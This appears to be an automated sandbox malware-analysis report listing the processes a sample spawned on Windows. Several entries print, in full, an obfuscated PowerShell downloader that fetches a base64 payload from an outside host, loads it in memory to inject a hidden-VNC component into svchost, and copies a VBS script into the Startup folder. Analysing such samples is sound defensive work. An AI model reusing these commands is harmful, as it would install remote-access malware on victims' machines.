Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	06:36:47
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	06:36:48
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	06:36:48
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 4408, Parent PID: 7740

General

Target ID:	61
Start time:	06:36:49
Start date:	25/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\32\pure_hnvc.bat""
Imagebase:	0x7ff682e10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	06:36:49
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	06:36:50
Start date:	25/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start_sys.bat" "
Imagebase:	0x7ff682e10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	06:36:50
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	06:36:50
Start date:	25/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\32\hnvc.vbs"
Imagebase:	0x7ff6fbbe0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: wscript.exePID: 6844, Parent PID: 8608

General

Target ID:	66
Start time:	06:36:50
Start date:	25/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs"
Imagebase:	0x7ff6fbbe0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 6852, Parent PID: 7740

General

Target ID:	67
Start time:	06:36:51
Start date:	25/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\32\pure_hnvc.bat""
Imagebase:	0x7ff682e10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6044, Parent PID: 6852

General

Target ID:	68
Start time:	06:36:51
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	06:36:51
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 3936, Parent PID: 6444

General

Target ID:	70
Start time:	06:36:51
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	06:36:52
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	06:36:52
Start date:	25/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\32\hnvc.vbs"
Imagebase:	0x7ff6fbbe0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 8744, Parent PID: 7740

General

Target ID:	73
Start time:	06:36:53
Start date:	25/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" /C echo %username%
Imagebase:	0x7ff682e10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8740, Parent PID: 8744

General

Target ID:	74
Start time:	06:36:53
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	06:36:53
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 9060, Parent PID: 8668

General

Target ID:	76
Start time:	06:36:56
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 9076, Parent PID: 6844

General

Target ID:	77
Start time:	06:36:56
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 9156, Parent PID: 9076

General

Target ID:	78
Start time:	06:36:56
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	06:36:56
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 5072, Parent PID: 9136

General

Target ID:	80
Start time:	06:36:57
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	06:36:58
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 8576, Parent PID: 8912

General

Target ID:	82
Start time:	06:36:58
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 6208, Parent PID: 9076

General

Target ID:	83
Start time:	06:36:58
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: wscript.exePID: 9068, Parent PID: 3968

General

Target ID:	84
Start time:	06:37:03
Start date:	25/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\ProgramData\hvnc.vbs"
